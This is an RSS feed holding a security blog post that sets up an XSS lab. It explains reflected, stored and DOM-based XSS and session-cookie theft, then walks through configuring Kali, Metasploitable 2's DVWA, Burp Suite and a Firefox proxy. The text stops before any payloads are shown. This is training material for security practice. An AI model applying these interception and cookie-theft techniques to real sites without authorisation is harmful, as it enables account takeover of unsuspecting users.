<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:googleplay="http://www.google.com/schemas/play-podcasts/1.0"><channel><title><![CDATA[Dark Marc | Cybersecurity, Hacking & Tech]]></title><description><![CDATA[The digital world is under attack—breaches, exploits, and evolving threats. Will you be ready? Join me as we explore hacking, cybersecurity, and the edge of digital warfare. Stay sharp. Stay ahead.]]></description><link>https://darkmarc.substack.com</link><image><url>https://substackcdn.com/image/fetch/$s_!VPsM!,w_256,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png</url><title>Dark Marc | Cybersecurity, Hacking &amp; Tech</title><link>https://darkmarc.substack.com</link></image><generator>Substack</generator><lastBuildDate>Thu, 16 Apr 2026 07:32:09 GMT</lastBuildDate><atom:link href="https://darkmarc.substack.com/feed" rel="self" type="application/rss+xml"/><copyright><![CDATA[Dark Marc]]></copyright><language><![CDATA[en]]></language><webMaster><![CDATA[darkmarc@substack.com]]></webMaster><itunes:owner><itunes:email><![CDATA[darkmarc@substack.com]]></itunes:email><itunes:name><![CDATA[Dark Marc]]></itunes:name></itunes:owner><itunes:author><![CDATA[Dark Marc]]></itunes:author><googleplay:owner><![CDATA[darkmarc@substack.com]]></googleplay:owner><googleplay:email><![CDATA[darkmarc@substack.com]]></googleplay:email><googleplay:author><![CDATA[Dark Marc]]></googleplay:author><itunes:block><![CDATA[Yes]]></itunes:block><item><title><![CDATA[Lab Exercise: Cross-Site Scripting (XSS) Attacks on a Vulnerable Web Application with Burp Suite]]></title><description><![CDATA[Web applications often accept input from users, whether through search boxes, login forms, comment sections, or URL parameters.]]></description><link>https://darkmarc.substack.com/p/lab-exercise-cross-site-scripting</link><guid isPermaLink="false">https://darkmarc.substack.com/p/lab-exercise-cross-site-scripting</guid><dc:creator><![CDATA[Dark Marc]]></dc:creator><pubDate>Sat, 28 Mar 2026 22:54:46 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!7oOv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b81ca11-9f96-40a6-9a50-473dffc94e18_1500x1000.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Web applications often accept input from users, whether through search boxes, login forms, comment sections, or URL parameters.</strong> </p><p>When a web application takes that input and displays it back on the page without checking or sanitizing it first, an attacker can inject malicious code into what other users see. This class of vulnerability is called Cross-Site Scripting, or XSS.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7oOv!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b81ca11-9f96-40a6-9a50-473dffc94e18_1500x1000.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7oOv!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b81ca11-9f96-40a6-9a50-473dffc94e18_1500x1000.png 424w, https://substackcdn.com/image/fetch/$s_!7oOv!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b81ca11-9f96-40a6-9a50-473dffc94e18_1500x1000.png 848w, https://substackcdn.com/image/fetch/$s_!7oOv!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b81ca11-9f96-40a6-9a50-473dffc94e18_1500x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!7oOv!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b81ca11-9f96-40a6-9a50-473dffc94e18_1500x1000.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7oOv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b81ca11-9f96-40a6-9a50-473dffc94e18_1500x1000.png" width="1456" height="971" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6b81ca11-9f96-40a6-9a50-473dffc94e18_1500x1000.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:971,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:325638,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://darkmarc.substack.com/i/192454575?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b81ca11-9f96-40a6-9a50-473dffc94e18_1500x1000.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7oOv!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b81ca11-9f96-40a6-9a50-473dffc94e18_1500x1000.png 424w, https://substackcdn.com/image/fetch/$s_!7oOv!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b81ca11-9f96-40a6-9a50-473dffc94e18_1500x1000.png 848w, https://substackcdn.com/image/fetch/$s_!7oOv!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b81ca11-9f96-40a6-9a50-473dffc94e18_1500x1000.png 1272w, https://substackcdn.com/image/fetch/$s_!7oOv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6b81ca11-9f96-40a6-9a50-473dffc94e18_1500x1000.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Because the injected script runs inside the victim&#8217;s browser and appears to originate from a legitimate site, the browser trusts it and executes it with full access to that site&#8217;s data. This includes session cookies, the tokens that keep users logged in.</p><p>Stealing a session cookie allows an attacker to impersonate the victim and take over their account without ever knowing their password.</p><div><hr></div><h2>Types of XSS Attacks</h2><p><strong>There are three types of XSS attacks:</strong></p><ol><li><p><strong>Reflected XSS</strong> is delivered through a crafted link and executes the moment the victim visits it. </p></li><li><p><strong>Stored XSS</strong> is injected once and then served automatically to every user who visits the affected page, making it significantly more dangerous.</p></li><li><p><strong>DOM-based XSS</strong> happens entirely in the user&#8217;s browser without the server ever knowing. The page&#8217;s own JavaScript takes a piece of data (like part of the URL) and accidentally runs it as code.</p></li></ol><div><hr></div><h2>Lab Environment &amp; Tools</h2><p>This lab requires a Hypervisor (such as VirtualBox, UTM, Parallels, or VMware) running two virtual machines on an isolated local network:</p><ol><li><p><strong><a href="https://www.kali.org/get-kali/">Kali Linux</a> (Attacker):</strong> Your primary workstation. You will use Burp Suite, an industry-standard proxy tool used for web application security testing, to intercept and modify HTTP traffic between your browser and the target.</p></li><li><p><strong><a href="https://docs.rapid7.com/metasploit/metasploitable-2/">Metasploitable 2</a></strong> <strong>(Target):</strong> A deliberately vulnerable Linux VM. It hosts the DVWA (Damn Vulnerable Web Application), an intentionally insecure app designed for security training.</p></li></ol><div class="digest-post-embed" data-attrs="{&quot;nodeId&quot;:&quot;4be406ee-cc7b-471c-ac3d-3361baa14dca&quot;,&quot;caption&quot;:&quot;Virtual machines (VMs) are software-based emulations of physical computers. They let you run multiple operating systems on one physical machine, providing an effective and safe environment for training and testing.&quot;,&quot;cta&quot;:&quot;Read full story&quot;,&quot;showBylines&quot;:true,&quot;size&quot;:&quot;sm&quot;,&quot;isEditorNode&quot;:true,&quot;title&quot;:&quot;How to Create Virtual Machines for Cybersecurity Labs&quot;,&quot;publishedBylines&quot;:[{&quot;id&quot;:313925317,&quot;name&quot;:&quot;Dark Marc&quot;,&quot;bio&quot;:&quot;The digital world is under attack&#8212;breaches, exploits, and evolving threats. Will you be ready? Join me as we explore hacking, cybersecurity, and the edge of digital warfare. Stay sharp. Stay ahead.&quot;,&quot;photo_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f76ab9c8-c43d-4098-b472-db750cc2b403_500x500.png&quot;,&quot;is_guest&quot;:false,&quot;bestseller_tier&quot;:null}],&quot;post_date&quot;:&quot;2025-07-07T20:51:42.467Z&quot;,&quot;cover_image&quot;:&quot;https://substackcdn.com/image/fetch/$s_!TBff!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F88fc39d3-ddec-4d0d-930f-eb2cd183a0d6_1000x700.png&quot;,&quot;cover_image_alt&quot;:null,&quot;canonical_url&quot;:&quot;https://darkmarc.substack.com/p/how-to-create-virtual-machines-for&quot;,&quot;section_name&quot;:null,&quot;video_upload_id&quot;:null,&quot;id&quot;:167697683,&quot;type&quot;:&quot;newsletter&quot;,&quot;reaction_count&quot;:14,&quot;comment_count&quot;:3,&quot;publication_id&quot;:3940081,&quot;publication_name&quot;:&quot;Dark Marc | Cybersecurity, Hacking &amp; Tech&quot;,&quot;publication_logo_url&quot;:&quot;https://substackcdn.com/image/fetch/$s_!VPsM!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c500f6a-7cf3-418d-b207-af8e956973c5_500x500.png&quot;,&quot;belowTheFold&quot;:true,&quot;youtube_url&quot;:null,&quot;show_links&quot;:null,&quot;feed_url&quot;:null}"></div><div><hr></div><p><em>Note: The version of DVWA pre-installed on Metasploitable2 (v1.0.7) only includes the Reflected and Stored XSS modules. To practice DOM-based XSS, upgrade DVWA to version 1.9 or newer. This lab covers Reflected and Stored attacks only.</em></p><div><hr></div><h2><strong>Environment Setup:</strong></h2><p>Configure two virtual machines: Kali Linux, and Metasploitable 2.</p><p>For maximum security, place both VMs on the same isolated virtual subnet (Host-Only or Internal Network) within your hypervisor. </p><p>This ensures the vulnerable traffic is completely isolated from your host machine and your actual physical network. </p><p>If you are not comfortable configuring an isolated subnet, you can use Bridged Mode, but be aware this makes the vulnerable Metasploitable 2 VM visible to other devices on your local Wi-Fi or Ethernet.</p><p>Once the machines are set up, ensure they are on the same subnet. In this example, we&#8217;ll assume the following configuration (your specific IPs may vary):</p><ul><li><p><strong>Attacker (Kali):</strong> 10.10.10.10</p></li><li><p><strong>Target (Metasploitable 2):</strong> 10.10.10.20</p></li><li><p><strong>DVWA Access:</strong> <code>http://10.10.10.20/dvwa</code></p></li></ul><div><hr></div><h3>1. Burp Suite Configuration</h3><p>Burp Suite is a proxy tool that sits between your browser and the target server, intercepting every HTTP request and response that passes between them. </p><p>Normally when you submit a form or click a link, your browser sends a request directly to the server and you have no visibility into what is being sent. </p><p>By routing your traffic through Burp, you can see the raw request, modify parameters before they reach the server, and replay requests as many times as you need. </p><p>In this lab you will use this to observe exactly how DVWA handles your input, craft payloads that would be difficult to send through the browser alone, and bypass client-side restrictions like character limits on input fields.</p><div><hr></div><h4>1.1 Launching Burp Suite</h4><p>Launch Burpsuite from the terminal on Kali Linux using the command:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;90feeb84-6ed1-4235-b397-8648b506a411&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">burpsuite</code></pre></div><p>On launch, select &#8220;Temporary project&#8221;, followed by &#8220;Use Burp defaults&#8221;.</p><p>To intercept and modify traffic, you have two primary options:</p><ul><li><p><strong>Option A: The Built-in Browser:</strong> Navigate to the Proxy tab and click &#8220;Open Browser&#8221;. This is a pre-configured Chromium browser that automatically routes all traffic through Burp.</p></li><li><p><strong>Option B: Manual Browser Configuration:</strong> If the built-in browser is unavailable or you prefer a custom setup (like Firefox), manually configure your browser&#8217;s proxy settings to point to <code>127.0.0.1</code> on port <code>8080</code>.</p></li></ul><h4>1.2 Configuring the Proxy Listener</h4><p>Before routing any browser traffic through Burp, you need to confirm that Burp is actually listening for incoming connections. The proxy listener is the address your browser will send traffic to, and Burp will forward it on to the target.</p><p>Navigate to Proxy &gt; Proxy Settings and confirm the proxy listener is active on <code>127.0.0.1:8080</code>.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!HNhO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F340370c1-029f-4f5c-aaba-1a93cccef9b7_1600x962.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!HNhO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F340370c1-029f-4f5c-aaba-1a93cccef9b7_1600x962.png 424w, https://substackcdn.com/image/fetch/$s_!HNhO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F340370c1-029f-4f5c-aaba-1a93cccef9b7_1600x962.png 848w, https://substackcdn.com/image/fetch/$s_!HNhO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F340370c1-029f-4f5c-aaba-1a93cccef9b7_1600x962.png 1272w, https://substackcdn.com/image/fetch/$s_!HNhO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F340370c1-029f-4f5c-aaba-1a93cccef9b7_1600x962.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!HNhO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F340370c1-029f-4f5c-aaba-1a93cccef9b7_1600x962.png" width="1456" height="875" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/340370c1-029f-4f5c-aaba-1a93cccef9b7_1600x962.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:875,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!HNhO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F340370c1-029f-4f5c-aaba-1a93cccef9b7_1600x962.png 424w, https://substackcdn.com/image/fetch/$s_!HNhO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F340370c1-029f-4f5c-aaba-1a93cccef9b7_1600x962.png 848w, https://substackcdn.com/image/fetch/$s_!HNhO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F340370c1-029f-4f5c-aaba-1a93cccef9b7_1600x962.png 1272w, https://substackcdn.com/image/fetch/$s_!HNhO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F340370c1-029f-4f5c-aaba-1a93cccef9b7_1600x962.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h4>1.3 Configuring Firefox as the Proxy Client</h4><blockquote><p><strong>OPTIONAL:</strong> If you&#8217;re using the internal Burp Suite browser, and not configuring the proxy in Firefox, skip this section and go to next step.</p></blockquote><p>Now that Burp is listening, you need to tell Firefox to route all of its traffic through it instead of sending requests directly to the server. Without this step, Burp has nothing to intercept.</p><p>Open Firefox and navigate to <code>about:preferences</code>. Search for &#8220;proxy&#8221;, which will surface the Network Settings option. Open it, select Manual proxy configuration, and set the HTTP Proxy to <code>127.0.0.1</code> on port <code>8080</code>. Check &#8220;Also use this proxy for HTTPS&#8221; before saving.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!n_Zn!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0cb7f3f-02ec-4816-aee2-7028b5edb805_1600x1324.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!n_Zn!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0cb7f3f-02ec-4816-aee2-7028b5edb805_1600x1324.png 424w, https://substackcdn.com/image/fetch/$s_!n_Zn!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0cb7f3f-02ec-4816-aee2-7028b5edb805_1600x1324.png 848w, https://substackcdn.com/image/fetch/$s_!n_Zn!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0cb7f3f-02ec-4816-aee2-7028b5edb805_1600x1324.png 1272w, https://substackcdn.com/image/fetch/$s_!n_Zn!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0cb7f3f-02ec-4816-aee2-7028b5edb805_1600x1324.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!n_Zn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0cb7f3f-02ec-4816-aee2-7028b5edb805_1600x1324.png" width="1456" height="1205" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f0cb7f3f-02ec-4816-aee2-7028b5edb805_1600x1324.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1205,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!n_Zn!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0cb7f3f-02ec-4816-aee2-7028b5edb805_1600x1324.png 424w, https://substackcdn.com/image/fetch/$s_!n_Zn!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0cb7f3f-02ec-4816-aee2-7028b5edb805_1600x1324.png 848w, https://substackcdn.com/image/fetch/$s_!n_Zn!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0cb7f3f-02ec-4816-aee2-7028b5edb805_1600x1324.png 1272w, https://substackcdn.com/image/fetch/$s_!n_Zn!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff0cb7f3f-02ec-4816-aee2-7028b5edb805_1600x1324.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Next, you need to install the PortSwigger CA certificate. </p><p>When Burp intercepts an HTTPS request, it decrypts it, lets you inspect and modify it, then re-encrypts it before forwarding it on. Firefox does not trust Burp&#8217;s certificate by default, so without this step it will block the interception and display a security warning instead of loading the page.</p><p>To download the certificate, browse to <code>http://burpsuite</code> in Firefox. This page will present a download link for the CA certificate file <code>cacert.der</code>. Once it is downloaded, go back to <code>about:preferences</code> and search &#8220;authorities&#8221;. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rX_k!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6153937a-e9da-49db-9967-aeededdc4847_1600x1321.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rX_k!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6153937a-e9da-49db-9967-aeededdc4847_1600x1321.png 424w, https://substackcdn.com/image/fetch/$s_!rX_k!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6153937a-e9da-49db-9967-aeededdc4847_1600x1321.png 848w, https://substackcdn.com/image/fetch/$s_!rX_k!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6153937a-e9da-49db-9967-aeededdc4847_1600x1321.png 1272w, https://substackcdn.com/image/fetch/$s_!rX_k!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6153937a-e9da-49db-9967-aeededdc4847_1600x1321.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rX_k!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6153937a-e9da-49db-9967-aeededdc4847_1600x1321.png" width="1456" height="1202" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6153937a-e9da-49db-9967-aeededdc4847_1600x1321.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1202,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!rX_k!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6153937a-e9da-49db-9967-aeededdc4847_1600x1321.png 424w, https://substackcdn.com/image/fetch/$s_!rX_k!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6153937a-e9da-49db-9967-aeededdc4847_1600x1321.png 848w, https://substackcdn.com/image/fetch/$s_!rX_k!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6153937a-e9da-49db-9967-aeededdc4847_1600x1321.png 1272w, https://substackcdn.com/image/fetch/$s_!rX_k!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6153937a-e9da-49db-9967-aeededdc4847_1600x1321.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" 